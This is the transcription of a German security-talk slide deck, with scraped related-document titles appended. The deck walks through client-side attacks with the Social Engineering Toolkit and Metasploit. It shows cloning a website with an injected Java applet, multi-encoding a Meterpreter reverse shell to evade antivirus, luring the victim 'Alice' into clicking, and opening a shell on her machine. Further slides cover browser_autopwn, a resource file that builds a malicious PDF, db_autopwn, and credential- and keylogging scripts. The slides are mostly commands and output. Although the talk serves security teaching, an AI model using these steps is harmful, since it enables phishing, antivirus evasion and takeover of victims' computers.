SET Social Engineering Toolkit Client-Side-Attack Demonstration browser_autopwn Automatsierung/Entwicklung Tools für Exploit-Entwickler
|
|
|
- Austin Dawson
- 10 years ago
- Views:
Transcription
1 Episode IV
2 SET Social Engineering Toolkit Client-Side-Attack Demonstration browser_autopwn Automatsierung/Entwicklung Tools für Exploit-Entwickler 05/11/10 2
3 05/11/10 3
4 Python-Skript von rel1k (Dave Kennedy) Automatisierte Angriffsvektoren via MSF Phishing, Massenmails, CS-Attacks, Teensy V1.0 bringt WebInterface + viele Neuerungen! 05/11/10 4
5 Extrem Benutzerfreundlich Select from the menu: 1. Spear-Phishing Attack Vectors 2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Teensy USB HID Attack Vector 7 Update the Metasploit Framework 8. Update the Social-Engineer Toolkit 9. Help, Credits, and About 10. Exit the Social-Engineer Toolkit Enter your choice: 05/11/10 5
6 05/11/10 6
7 05/11/10 7
8 05/11/10 8
9 Scannen von Alice externer IP nmap -T5 -A /11/10 9
10 Scannen von Alice externer IP nmap -T5 -A Host is up ( s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 113/tcp closed auth MAC Address: 00:0C:29:97:BA:9F (VMware) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop 05/11/10 10
11 Scannen von Alice externer IP nmap -T5 -A Host is up ( s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 113/tcp closed auth MAC Address: 00:0C:29:97:BA:9F (VMware) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop 05/11/10 11
12 Scannen von Alice externer IP nmap -T5 -A Host is up ( s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 113/tcp closed auth MAC Address: 00:0C:29:97:BA:9F (VMware) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop 05/11/10 12
13 05/11/10 13
14 , IM, Telefon, VoIP-Spoofing, etc. In Kombination mit XSS, DNS-Poisoning, etc. Kann ich helfen? Kannst du mir helfen? Falsche Identität(en) Mitnick - Die Kunst der Täuschung 05/11/10 14
15 Informationen über Alice sammeln URL tarnen mit DynDNS, XSS, Eine Nachricht ( ,sms,social- Networks,etc.) schicken 05/11/10 15
16 Attacker-Setup Select from the menu: 1. Spear-Phishing Attack Vectors 2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Teensy USB HID Attack Vector 7 Update the Metasploit Framework 8. Update the Social-Engineer Toolkit 9. Help, Credits, and About 10. Exit the Social-Engineer Toolkit Enter your choice: 2 05/11/10 16
17 1. The Java Applet Attack Method 2. The Metasploit Browser Exploit Method 3. Credential Harvester Attack Method 4. Tabnabbing Attack Method 5. Man Left in the Middle Attack Method 6. Web Jacking Attack Method 7. Multi-Attack Web Method 8. Return to the previous menu Enter your choice (press enter for default): 1 05/11/10 17
18 [!] Website Attack Vectors [!] 1. Web Templates 2. Site Cloner 3. Custom Import 4. Return to main menu Enter number (1-4): 2 05/11/10 18
19 [!] Website Attack Vectors [!] 1. Web Templates 2. Site Cloner 3. Custom Import 4. Return to main menu Enter number (1-4): 2 SET supports both HTTP and HTTPS Example: Enter the url to clone: 05/11/10 19
20 05/11/10 20
21 [!] Website Attack Vectors [!] 1. Web Templates 2. Site Cloner 3. Custom Import 4. Return to main menu Enter number (1-4): 2 SET supports both HTTP and HTTPS Example: Enter the url to clone: 05/11/10 21
22 [!] Website Attack Vectors [!] 1. Web Templates 2. Site Cloner 3. Custom Import 4. Return to main menu Enter number (1-4): 2 SET supports both HTTP and HTTPS Example: Enter the url to clone: [*] Cloning the website: [*] This could take a little bit... [*] Injecting Java Applet attack into the newly cloned website. [*] Filename obfuscation complete. Payload name is: yhyld5e6cdxj90u [*] Malicious java applet website prepped for deployment 05/11/10 22
23 What payload do you want to generate: Name: 1. Windows Shell Reverse_TCP. 2. Windows Reverse_TCP Meterpreter Windows Meterpreter Reverse HTTPS 10. Import your own executable Enter choice (hit enter for default): 2 05/11/10 23
24 Below is a list of encodings to try and bypass AV. Select one of the below, 'backdoored executable' is typically the best. 1. avoid_utf8_tolower (Normal) 2. shikata_ga_nai (Very Good) No Encoding (None) 15. Multi-Encoder (Excellent) 16. Backdoored Executable (BEST) Enter your choice (enter for default): 15 05/11/10 24
25 [-] Enter the PORT of the listener (enter for default): /11/10 25
26 [-] Enter the PORT of the listener (enter for default): 443 [-] Encoding the payload multiple times to get around pesky Anti- Virus. [-] [*] x86/shikata_ga_nai succeeded with size 506 (iteration=5) [*] x86/alpha_upper succeeded with size 2230 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 2375 (iteration=5) [*] x86/countdown succeeded with size 2465 (iteration=5) ******************************************************** Do you want to create a Linux/OSX reverse_tcp payload in the Java Applet attack as well? ******************************************************** Enter choice yes or no: no 05/11/10 26
27 *************************************************** Web Server Launched. Welcome to the SET Web Attack. *************************************************** [--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--] [*] Started HTTPS reverse handler on [*] Started reverse handler on :443 [*] Starting the payload handler... 05/11/10 27
28 /11/10 28
29 05/11/10 29
30 /11/10 30
31 Click here to get hacked 05/11/10 31
32 Click here to get hacked new shoes 05/11/10 32
33 /11/10 33
34 05/11/10 34
35 05/11/10 35
36 *************************************************** Web Server Launched. Welcome to the SET Web Attack. *************************************************** [--] Tested on IE6, IE7, IE8, Safari, Chrome, and FireFox [--] [*] Started HTTPS reverse handler on [*] Starting the payload handler... [*] Sending stage ( bytes) to [*] Meterpreter session 1 opened ( :443 -> :49421) at Thu Nov 04 23:15: /11/10 36
37 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN-H9NLHRGF8E5\alice 05/11/10 37
38 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN-H9NLHRGF8E5\alice meterpreter > shell Process 4016 created. Channel 1 created. Microsoft Windows [Version ] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\alice\Desktop> 05/11/10 38
![msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1.](/docs-images/23/2058347/images/39-0.jpg ".. meterpreter > getuid Server username: WIN-H9NLHRGF8E5\alice meterpreter > shell Process 4016 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation.")
39 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN-H9NLHRGF8E5\alice meterpreter > shell Process 4016 created. Channel 1 created. Microsoft Windows [Version ] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\alice\Desktop> 05/11/10 39
40 05/11/10 40
41 Ebenso anfällig für die Java-Applet-Attacke: Linux OSX Windows Mit folgenden Browsern: IE6,IE7,IE8 Safari Chrome Firefox 05/11/10 41
42 welche hoffentlich klappt ;-] 05/11/10 42
43 DLL binary planting Load_Library() without SearchPath Nicht nur für Browser-Attacken brauchbar msf > use exploit/windows/browser/webdav_dll_hijacker msf exploit(webdav_dll_hijacker) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(webdav_dll_hijacker) > show options msf exploit(webdav_dll_hijacker) > set EXTENSION ppt pptx EXTENSION => ppt pptx 05/11/10 43
44 welche hoffentlich klappt ;-] 05/11/10 44
45 Client-Side-Attack Szenarios SET Java Applet Attack own em all! webdav_dll_highjacker the no fix vuln ie_aurora hack google adobe_media_newplayer - Acrobat v9.2-exploit adobe_shockwave_rcsl_corruption ms10_xxx_windows_shell_lnk_execute stuxnet und noch viele mehr ;) 05/11/10 45
46 05/11/10 46
47 Entwickelt von egyp7 (a.k.a. James Lee) Präsentiert an der DEFCON 17 DC Drive-By-Infection-Kits als Vorlage Erkennt den Browser/Betriebsystem anhand von Javascript Wählt automatisch passenden Exploit 05/11/10 47
48 java_calendar_deserialize java_trusted_chain mozilla_compareto mozilla_navigatorjava opera_configoverwrite opera_historysearch safari_metadata_archive apple_quicktime_marshaled_punk apple_quicktime_rtsp apple_quicktime_smil_debug ie_createobject ms03_020_ie_objecttype ms10_018_ie_behaviors winzip_fileview 05/11/10 48
49 msf > use auxiliary/server/browser_autopwn msf auxiliary(browser_autopwn) > set URIPATH / URIPATH => / msf auxiliary(browser_autopwn) > set LHOST LHOST => msf auxiliary(browser_autopwn) > run [*] Auxiliary module execution completed msf auxiliary(browser_autopwn) > [*] Starting exploit modules on host [*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp [*] Using URL: [*] Local IP: [*] Server started. 05/11/10 49
50 [*] Starting exploit windows/browser/winzip_fileview with payload windows/meterpreter/reverse_tcp [*] Using URL: [*] Local IP: [*] Server started. [*] Starting handler for windows/meterpreter/reverse_tcp on port 3333 [*] Starting handler for generic/shell_reverse_tcp on port 6666 [*] Started reverse handler on :3333 [*] Starting the payload handler... [*] Starting handler for java/meterpreter/reverse_tcp on port 7777 [*] Started reverse handler on :6666 [*] Starting the payload handler... [*] Started reverse handler on :7777 [*] Starting the payload handler... [*] --- Done, found 15 exploit modules [*] Using URL: [*] Local IP: [*] Server started. 05/11/10 50
51 05/11/10 51
52 05/11/10 52
53 -h -r <filename> Execute the specified resource file -c <filename> Load the specified configuration file 05/11/10 53
54 -h -r <filename> Execute the specified resource file -c <filename> Load the specified configuration file cat ~/.msf3/config [framework/core] [framework/ui/console] cp ~/.msf3/config ~/.msf3/config.bak msfconsole 05/11/10 54
55 msfconsole msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > setg lhost lhost => msf exploit(ms08_067_netapi) > set rhost rhost => msf exploit(ms08_067_netapi) > save Saved configuration to: /root/.msf3/config msf exploit(ms08_067_netapi) > quit 05/11/10 55
56 cat ~/.msf3/config [framework/core] lhost= ActiveModule=exploit/windows/smb/ms08_067_netapi payload=windows/meterpreter/reverse_tcp rhost= msfconsole ODER msfconsole c meineconfig msf exploit(ms08_067_netapi) > show options RHOST yes The target address Payload options (windows/meterpreter/reverse_tcp): LHOST yes The listen address 05/11/10 56
57 Entweder mv ~/.msf3/config ~/.msf3/config_smb_ms08_067 cp ~/.msf3/config.bak ~/.msf3/config Oder msf exploit(ms08_067_netapi) > unset all msf exploit(ms08_067_netapi) > unsetg all msf exploit(ms08_067_netapi) > back msf > save Saved configuration to: /root/.msf3/config 05/11/10 57
58 Automatisierung über die Config ist eigentlich nur für globale Variablen sinnvoll. Recht benutzerunfreundlich in der Bedienung 05/11/10 58
59 -h -r <filename> Execute the specified resource file -c <filename> Load the specified configuration file msf >? makerc Save commands entered since start to a file resource Run the commands stored in a file msf exploit(adobe_media_newplayer) > makerc Usage: makerc <output rc file> Save the commands executed since startup to the specified file. 05/11/10 59
60 msf exploit(adobe_media_newplayer) > set payload windows/meterpreter/reverse_tcp msf exploit(adobe_media_newplayer) > set FILENAME freeporn.pdf msf exploit(adobe_media_newplayer) > set OUTPUTPATH /var/www msf exploit(adobe_media_newplayer) > /etc/init.d/apache2 start msf exploit(adobe_media_newplayer) > exploit [*] Creating 'freeporn.pdf' file... [*] Generated output file /var/www/freeporn.pdf [*] Exploit completed, but no session was created. msf exploit(adobe_media_newplayer) > makerc /root/pdf-pwn.rc [*] Saving last 1 commands to /root/pdf-pwn.rc... msf exploit(adobe_media_newplayer) > quit 05/11/10 60
61 RC-File ausmisten vi ~/pdf-pwn.rc 1? 2 use exploit/windows/fileformat/adobe_media_newplayer 3 set payload windows/meterpreter/reverse_tcp 4 show options 5 set FILENAME freeporn.pdf 6 set OUTPUTPATH /var/www 7 set LHOST set TARGET 1 9 /etc/init.d/apache2 start 10 exploit 05/11/10 61
62 RC-File ausgemistet vi ~/pdf-pwn.rc 1 use exploit/windows/fileformat/adobe_media_newplayer 2 set payload windows/meterpreter/reverse_tcp 3 set FILENAME freeporn.pdf 4 set OUTPUTPATH /var/www 5 set LHOST set TARGET 1 7 /etc/init.d/apache2 start 8 exploit 05/11/10 62
63 Aufräumen rm /var/www/freeporn.pdf /etc/init.d/apache2 stop Stopping web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using for ServerName... waiting.. Test Entweder msfconsole -r ~/pdf-pwn.rc Oder msf > resource /root/pdf-pwn.rc 05/11/10 63
64 Prominentes Beispiel für ein RC-File wget cat karma.rc load db_sqlite3 db_create /root/karma.db use auxiliary/server/browser_autopwn setg AUTOPWN_HOST setg AUTOPWN_PORT setg AUTOPWN_URI /ads use auxiliary/server/capture/http set SRVPORT 8443 set SSL true run 05/11/10 64
65 05/11/10 65
66 Hat jetzt auch RegEx-Filter db_nmap oder nmap ox und db_import /etc/init.d/mysql start msf > msfconsole msf > db_driver mysql msf > db_connect msf > db_nmap msf > db_autopwn [*] Usage: db_autopwn [options] -R [rank] Only run modules with a minimal rank -I [range] Only exploit hosts inside this range -X [range] Always exclude hosts inside this range -PI [range] Only exploit hosts with these ports open -PX [range] Always exclude hosts with these ports open -m [regex] Only run modules whose name matches the regex 05/11/10 66
67 Autostart meterpreter scripts set payload windows/meterpreter/reverse_tcp show advanced Name : AutoRunScript Current Setting: Description : A script to run automatically on session creation. Name : InitialAutoRunScript Current Setting: Description : An initial script to run on session creation (before AutoRunScript) 05/11/10 67
68 Autostart meterpreter scripts set payload windows/meterpreter/reverse_tcp show advanced Name : AutoRunScript Current Setting: Description : A script to run automatically on session creation. Name : InitialAutoRunScript Current Setting: Description : An initial script to run on session creation (before AutoRunScript) 05/11/10 68
69 Autostart meterpreter scripts set payload windows/meterpreter/reverse_tcp show advanced Name : AutoRunScript Current Setting: Description : A script to run automatically on session creation. Name : InitialAutoRunScript Current Setting: Description : An initial script to run on session creation (before AutoRunScript) 05/11/10 69
70 Autostart meterpreter scripts ls scripts/meterpreter/ arp_scanner.rb file_collector.rb metsvc.rb scheduleme.rb autoroute.rb get_application_list.rb migrate.rb schtasksabuse.rb checkvm.rb get_env.rb multi_console_command.rb scraper.rb credcollect.rb get_filezilla_creds.rb multi_meter_inject.rb screen_unlock.rb enum_shares.rb hostsedit.rb prefetchtool.rb winbf.rb enum_vmware.rb keylogrecorder.rb process_memdump.rb winenum.rb event_manager.rb killav.rb remotewinenum.rb wmic.rb 05/11/10 70
71 Ohne Ruby geht s hier nicht weiter! MSF hat eine eigene Ruby-API und Bibliotheken MSF stellt mit Railgun eine Möglichkeit zur Verfügung um Windows-API-Calls durchzuführen 05/11/10 71
72 Integriert in msfconsole msf > irb [*] Starting IRB shell >> puts "Hello, metasploit! Hello, metasploit! >> Framework::Version => "3.3-dev >> RUBY_VERSION => " /11/10 72
73 05/11/10 73
74 HOWTO get from here 05/11/10 74
75 HOWTO get from here to there 05/11/10 75
76 Exploit suchen welches das verwendete Protokoll bereits nutzt Änderungen durchführen siehe MSFU-Online 05/11/10 76
77 05/11/10 77
78 Pattern-Buffer um den EIP-Offset zu finden 05/11/10 78
79 Finden des Offsets im Speicher 05/11/10 79
80 05/11/10 80
81 05/11/10 81
82 skape (a.k.a. Matt Miller) nologin.org corelan-tutorials MSF-Generator Wenn man nicht weiss wo der Rest vom Shellcode gelandet ist Kleiner (extrem freakiger) Shellcode welcher den Speicher nach einem Pattern durchsucht Pattern gefunden? Code dort ausführen 05/11/10 82
83 05/11/10 83
84 Metasploit-Dev-Team (hdm, egyp7, etc.) Back-Track-Dev-Team German BackTrack Team and Community rel1k irongeek CorelancOd3r carnalownage DarkOperator Mubix many more 05/11/10 84
85 IRC: 05/11/10 85
How to hack a website with Metasploit
How to hack a website with Metasploit By Sumedt Jitpukdebodin Normally, Penetration Tester or a Hacker use Metasploit to exploit vulnerability services in the target server or to create a payload to make
Metasploit Lab: Attacking Windows XP and Linux Targets
Cyber Forensics Laboratory 1 Metasploit Lab: Attacking Windows XP and Linux Targets Copyright c 2012 Michael McGinty and Xinwen Fu, University of Massachusetts Lowell Permission is granted to copy, distribute
Social Engineering Toolkit
Social Engineering Toolkit Author: 3psil0nLaMbDa a.k.a Karthik R, INDIA http://www.epsilonlambda.wordpress.com The social engineering toolkit is a project named Devolution, and it comes with Backtrack
Penetration Testing with Kali Linux
Penetration Testing with Kali Linux PWK Copyright 2014 Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security, 2014 No part of this publication, in whole or
Mass Pwnage 4 Dummies. Latest pen-testing tricks using Metasploit
Mass Pwnage 4 Dummies Latest pen-testing tricks using Metasploit What this talk will cover Quick Background Latest Metasploit 3.5 features Automated Attacking even a cave man could do it. Compromising
AUTHOR CONTACT DETAILS
AUTHOR CONTACT DETAILS Name Dinesh Shetty Organization Paladion Networks Email ID [email protected] Penetration Testing with Metasploit Framework When i say "Penetration Testing tool" the first
Vulnerability Assessment and Penetration Testing
Vulnerability Assessment and Penetration Testing Module 1: Vulnerability Assessment & Penetration Testing: Introduction 1.1 Brief Introduction of Linux 1.2 About Vulnerability Assessment and Penetration
The Social-Engineer Toolkit (SET)
The Social-Engineer Toolkit (SET) Putting the cool back into SE David Kennedy (ReL1K) http://www.secmaniac.com Twitter: Dave_ReL1K Social-Engineering in the 21 st Century Social-Engineering attacks are
Metasploit Framework Unleashed beyond Metasploit
Metasploit Framework Unleashed beyond Metasploit
Metasploit Unleashed. Class 2: Information Gathering and Vulnerability Scanning. Georgia Weidman Director of Cyberwarface, Reverse Space
Metasploit Unleashed Class 2: Information Gathering and Vulnerability Scanning Georgia Weidman Director of Cyberwarface, Reverse Space Information Gathering Learning as much as possible about targets Ex:
How To Use Powerhell For Security Research
PowerShell David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k winfang98 About Josh Security Analyst with a Fortune 1000 --- Works with Dave Heavy experience in penetration
Course Duration: 80Hrs. Course Fee: INR 7000 + 1999 (Certification Lab Exam Cost 2 Attempts)
Course Duration: 80Hrs. Course Fee: INR 7000 + 1999 (Certification Lab Exam Cost 2 Attempts) Course Module: 1. Introduction to Ethical Hacking 2. Footprinting a. SAM Spade b. Nslookup c. Nmap d. Traceroute
Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008
Automated Penetration Testing with the Metasploit Framework NEO Information Security Forum March 19, 2008 Topics What makes a good penetration testing framework? Frameworks available What is the Metasploit
1. LAB SNIFFING LAB ID: 10
H E R A LAB ID: 10 SNIFFING Sniffing in a switched network ARP Poisoning Analyzing a network traffic Extracting files from a network trace Stealing credentials Mapping/exploring network resources 1. LAB
Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security 560.2. Sans Mentor: Daryl Fallin
Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing SANS Security 560.2 Sans Mentor: Daryl Fallin http://www.sans.org/info/55868 Copyright 2010, All Rights Reserved Version 4Q10
IAC-BOX Network Integration. IAC-BOX Network Integration IACBOX.COM. Version 2.0.1 English 24.07.2014
IAC-BOX Network Integration Version 2.0.1 English 24.07.2014 In this HOWTO the basic network infrastructure of the IAC-BOX is described. IAC-BOX Network Integration TITLE Contents Contents... 1 1. Hints...
Kautilya: Teensy beyond shells
Kautilya: Teensy beyond shells Kautilya Toolkit for Teensy device Nikhil Mittal 1 P a g e Contents Kautilya Toolkit for Teensy device... 1 Nikhil Mittal... 1 Abstract... 3 Attack Surface and Scenarios...
Hacking your perimeter. Social-Engineering. Not everyone needs to use zero. David Kennedy (ReL1K) http://www.secmaniac.com Twitter: Dave_ReL1K
Hacking your perimeter. Social-Engineering Not everyone needs to use zero days David Kennedy (ReL1K) http://www.secmaniac.com Twitter: Dave_ReL1K About the speaker Wrote the Social-Engineer Toolkit (SET),
Armitage. Part 1. Author : r45c4l Mail : [email protected]. http://twitter.com/#!/r45c4l
Armitage H acking Made Easy Part 1 Author : r45c4l Mail : [email protected] http://twitter.com/#!/r45c4l Greetz and shouts to the entire ICW team and every Indian hackers Introduction When I started
Pwning Intranets with HTML5
Javier Marcos de Prado Juan Galiana Lara Pwning Intranets with HTML5 2009 IBM Corporation Agenda How our attack works? How we discover what is in your network? What does your infrastructure tell us for
CIT 480: Securing Computer Systems. Vulnerability Scanning and Exploitation Frameworks
CIT 480: Securing Computer Systems Vulnerability Scanning and Exploitation Frameworks Vulnerability Scanners Vulnerability scanners are automated tools that scan hosts and networks for potential vulnerabilities,
The Metasploit. Framework
The Metasploit Framework Overview What is it? The Metasploit Framework is both a penetration testing system and a development platform for creating security tools and exploits. who network security professionals
Lab 12: Mitigation and Deterrent Techniques - Anti-Forensic
CompTIA Security+ Lab Series Lab 12: Mitigation and Deterrent Techniques - Anti-Forensic CompTIA Security+ Domain 3 - Threats and Vulnerabilities Objective 3.6: Analyze and differentiate among types of
The Pen Test Perfect Storm Part 5: We Love Adobe!
The Pen Test Perfect Storm Part 5: We Love Adobe! By Ed Skoudis, Kevin Johnson, & Joshua Wright Hosted by Alex Horan of Core Copyright 2010, All Rights Reserved Version 1.0 1 Outline The Power of Combined
Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.
CMSC 355 Lab 3 : Penetration Testing Tools Due: September 31, 2010 In the previous lab, we used some basic system administration tools to figure out which programs where running on a system and which files
Penetration Testing SIP Services
Penetration Testing SIP Services Using Metasploit Framework Writer Version : 0.2 : Fatih Özavcı (fatih.ozavci at viproy.com) Introduction Viproy VoIP Penetration Testing Kit Sayfa 2 Table of Contents 1
Kali Linux Social Engineering
Kali Linux Social Engineering Rahul Singh Patel Chapter No. 1 "Introduction to Social Engineering Attacks" In this package, you will find: A Biography of the author of the book A preview chapter from the
IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection
IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection Description Lab flow At the end of this lab, you should be able to Discover how to harness the power and capabilities
Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort
License Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons
Stealth OpenVPN and SSH Tunneling Over HTTPS
Stealth OpenVPN and SSH Tunneling Over HTTPS Contents Tunneling OpenVPN and SSH via HTTPS for Windows,MAC and Linux... 1 Benefits of HTTPS Tunneling:... 2 Pre-Requisites:... 3 Part A: Step by Step Instructions
Sharp Remote Device Manager (SRDM) Server Software Setup Guide
Sharp Remote Device Manager (SRDM) Server Software Setup Guide This Guide explains how to install the software which is required in order to use Sharp Remote Device Manager (SRDM). SRDM is a web-based
Audience. Pre-Requisites
T R A N C H U L A S W O R K S H O P S A N D T R A I N I N G S Hands-On Penetration Testing Training Course About Tranchulas Tranchulas is a multinational information security company having its offices
Author: Sumedt Jitpukdebodin. Organization: ACIS i-secure. Email ID: [email protected]. My Blog: http://r00tsec.blogspot.com
Author: Sumedt Jitpukdebodin Organization: ACIS i-secure Email ID: [email protected] My Blog: http://r00tsec.blogspot.com Penetration Testing Linux with brute force Tool. Sometimes I have the job to penetration
Workshop. From XSS to Domain Admin. Black Hat Sessions 18 juni 2015 Jordy Kersten - Mandy van Oosterhout - Ward Wouts
Workshop From XSS to Domain Admin Black Hat Sessions 18 juni 2015 Jordy Kersten - Mandy van Oosterhout - Ward Wouts Security Consultants Jordy Kersten Mandy van Oosterhout Ward Wouts Agenda Scenario Werkwijze
Symantec Cyber Readiness Challenge Player s Manual
Symantec Cyber Readiness Challenge Player s Manual Version 1.6 January 20, 2014 Table of Contents Introduction... 3 1 The Cyber Readiness Challenge... 4 1.1 Your Credentials... 4 1.2 Accessing the Competition...
Automation of Post-Exploitation
Automation of Post-Exploitation (Focused on MS-Windows Targets) Mohammad Tabatabai Irani and Edgar R. Weippl Secure Business Austria, Favoritenstr. 16, A-1040 Vienna, Austria {mtabatabai,eweippl}@securityresearch.at
A New Era. A New Edge. Phishing within your company
Phishing within your company Learning Objectives What is phishing and how to minimize its impact Obtain a basic understanding of how to use virtual machines Use BackTrack, a tool used by many security
Exploiting Transparent User Identification Systems
Exploiting Transparent User Identification Systems Wayne Murphy Benjamin Burns Version 1.0a 1 CONTENTS 1.0 Introduction... 3 1.1 Project Objectives... 3 2.0 Brief Summary of Findings... 4 3.0 Background
Quick Start Guide to Ethical Hacking
Quick Start Guide to Ethical Hacking Written by Matt Ford, CEH Includes: Example Lab with Kali Linux Introduction In this Guide to Ethical Hacking, Matt Ford of Foursys sets out the definition, goals and
Lepide Active Directory Self Service. Configuration Guide. Follow the simple steps given in this document to start working with
Lepide Active Directory Self Service Configuration Guide 2014 Follow the simple steps given in this document to start working with Lepide Active Directory Self Service Table of Contents 1. Introduction...3
Learn Ethical Hacking, Become a Pentester
Learn Ethical Hacking, Become a Pentester Course Syllabus & Certification Program DOCUMENT CLASSIFICATION: PUBLIC Copyrighted Material No part of this publication, in whole or in part, may be reproduced,
Penetration Testing Using The Kill Chain Methodology
Penetration Testing Using The Kill Chain Methodology Presented by: Rupert Edwards This course is intended for a technically astute audience.this course is 98% hands on.the attendee should have some basic
Installing Virtual Coordinator (VC) in Linux Systems that use RPM (Red Hat, Fedora, CentOS) Document # 15807A1-103 Date: Aug 06, 2012
Installing Virtual Coordinator (VC) in Linux Systems that use RPM (Red Hat, Fedora, CentOS) Document # 15807A1-103 Date: Aug 06, 2012 1 The person installing the VC is knowledgeable of the Linux file system
Lab 7 - Exploitation 1. NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy
Lab 7 - Exploitation 1 NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy Lab 7 - Exploitation 2 Item I. (What were you asked to do?) Metasploit Server Side Exploits Perform the exercises
(maybe?)apt1: technical backstage
(maybe?)apt1 : technical backstage (maybe?)apt1: technical backstage @r00tbsd Paul Rascagnères Malware.lu December 2013 Crusaders are everywhere... A poke to Hendrik Adrian... #MalwareMustDie Plan - Malware.lu
Startup guide for Zimonitor
Page 1 of 5 Startup guide for Zimonitor This is a short introduction to get you started using Zimonitor. Start by logging in to your version of Zimonitor using the URL and username + password sent to you.
quick documentation Die Parameter der Installation sind in diesem Artikel zu finden:
quick documentation TO: FROM: SUBJECT: [email protected] ASTARO FIREWALL SCAN MIT NESSUS AUS BACKTRACK 5 R1 DATE: 24.11.2011 Inhalt Dieses Dokument beschreibt einen Nessus Scan einer Astaro
PowerShell. It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k
PowerShell It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) http://www.secmaniac.com Twitter: dave_rel1k About Josh Security Analyst with a Fortune 1000 --- Works with Dave Heavy experience
MIEIC - SSIN (Computer Security)
MIEIC - SSIN (Computer Security) Tomé Duate, Robert Kulzer Final report Group 5, T9 2011/2012 December 6, 2011 1 Introduction There are numerous studies on malware development over the past decade, they
IEEE 802.11bg Mode:Monitor Frequency:2.437 GHz Tx-Power=20 dbm
root@bt:~# airmon-ng Interface Chipset Driver wlan0 wlan1 Ralink 2570 USB rt2500usb - [phy1] Intel 3945ABG iwl3945 - [phy0] root@bt:~# airmon-ng start wlan0 Interface Chipset Driver wlan0 Ralink 2570 USB
Enterprise Manager. Version 6.2. Installation Guide
Enterprise Manager Version 6.2 Installation Guide Enterprise Manager 6.2 Installation Guide Document Number 680-028-014 Revision Date Description A August 2012 Initial release to support version 6.2.1
Lotus Sametime. FIPS Support for IBM Lotus Sametime 8.0. Version 8.0 SC23-8760-00
Lotus Sametime Version 8.0 FIPS Support for IBM Lotus Sametime 8.0 SC23-8760-00 Disclaimer THE INFORMATION CONTAINED IN THIS DOCUMENTATION IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY. WHILE EFFORTS WERE
Firewalls and Software Updates
Firewalls and Software Updates License This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License. Contents General
JAMF Software Server Installation and Configuration Guide for Linux. Version 9.2
JAMF Software Server Installation and Configuration Guide for Linux Version 9.2 JAMF Software, LLC 2013 JAMF Software, LLC. All rights reserved. JAMF Software has made all efforts to ensure that this guide
Installation Sophos Virenscanner auf Friedolins Linux Servern
Installation Sophos Virenscanner auf Friedolins Linux Servern Überprüfen der Voraussetzungen Alle Aktionen erfolgen als User root! Für die Installation sind folgende Pakete notwendig: nfs utils und Samba
Vulnerability analysis
Vulnerability analysis License This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License. Contents License Contents
Lab 10: Security Testing Linux Server
Lab 10: Security Testing Linux Server 10.1 Details Aim: Security Assessment and Penetration of a Linux Web Server, using the BackTrack5 Linux Security distribution and some of its security assessment tools.
Web Browsing Examples. How Web Browsing and HTTP Works
How Web Browsing and HTTP Works 1 1 2 Lets consider an example that shows how web browsing and HTTP work. The example will cover a simple, but very common case. There are many more details of HTTP that
Cloud Performance Group 1. Cloud@Night Event. 14. Januar 2016 / Matthias Gessenay ([email protected])
1 Cloud@Night Event 14. Januar 2016 / Matthias Gessenay ([email protected]) 2 Agenda SharePoint ABC Project Server ABC What s new in O365 4 SharePoint 2016 ABC A Access App-Support
JAMF Software Server Installation and Configuration Guide for OS X. Version 9.2
JAMF Software Server Installation and Configuration Guide for OS X Version 9.2 JAMF Software, LLC 2013 JAMF Software, LLC. All rights reserved. JAMF Software has made all efforts to ensure that this guide
http://docs.trendmicro.com
Trend Micro Incorporated reserves the right to make changes to this document and to the products described herein without notice. Before installing and using the product, please review the readme files,
Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins
Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins During initial stages of penetration testing it is essential to build a strong information foundation before you
Installation, Configuration and Administration Guide
